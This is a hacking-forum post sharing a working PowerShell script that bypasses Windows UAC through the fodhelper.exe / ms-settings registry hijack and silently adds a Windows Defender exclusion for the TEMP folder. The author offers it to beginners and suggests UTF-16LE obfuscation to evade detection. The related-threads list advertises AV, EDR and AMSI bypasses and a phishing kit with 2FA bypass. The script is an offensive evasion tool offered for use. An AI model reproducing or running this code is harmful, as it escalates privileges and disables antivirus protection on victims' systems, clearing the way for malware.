win-10 uac bypass add exclusion
by nullvex - Tuesday April 1, 2025 at 12:57 AM
#1
hello here is a little something/ script for some beginners 
this power-shell code is simple yet effective
it adds a windows defender exclusion to the "&env:TEMP" directory

hope you like it.


if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {     $command = "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `"Add-MpPreference -ExclusionPath '$env:Temp'`""     # Clean up any existing registry entries (silently continue if they don't exist)     Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue     New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null     New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null     Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $command Force     Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden     Start-Sleep -Seconds 3     Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue     Write-Host "Exclusion path '$env:Temp' added to Windows Defender." } else {     Add-MpPreference -ExclusionPath "$env:Temp"     Write-Host "Exclusion path '$env:Temp' added to Windows Defender (already elevated)." }



its unfortunately detected by windows defender but if added
some kind of obfuscation like (UTF-16LE) it could
help detection rates.

either way use this code to your liking.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Bypass AV and EDR - Halos Gate from Sektor7 0x01 123 10,836 06-26-2026, 11:50 AM
Last Post: hashxyz
  Phishing Platform with 2FA bypass support Loki 142 21,969 06-25-2026, 05:19 PM
Last Post: supermaster
  Bypass Cookies Encryption | Working FrancisMDouble 8 1,003 06-25-2026, 04:19 PM
Last Post: marcot
  PowerShell AMSI Bypass via VEH Loki 41 3,909 02-09-2026, 08:07 AM
Last Post: yuuichi00
  bypass xdr or edr chimeradoll 3 571 02-22-2025, 08:21 AM
Last Post: 0xGoosed1232



 Users browsing this thread: 1 Guest(s)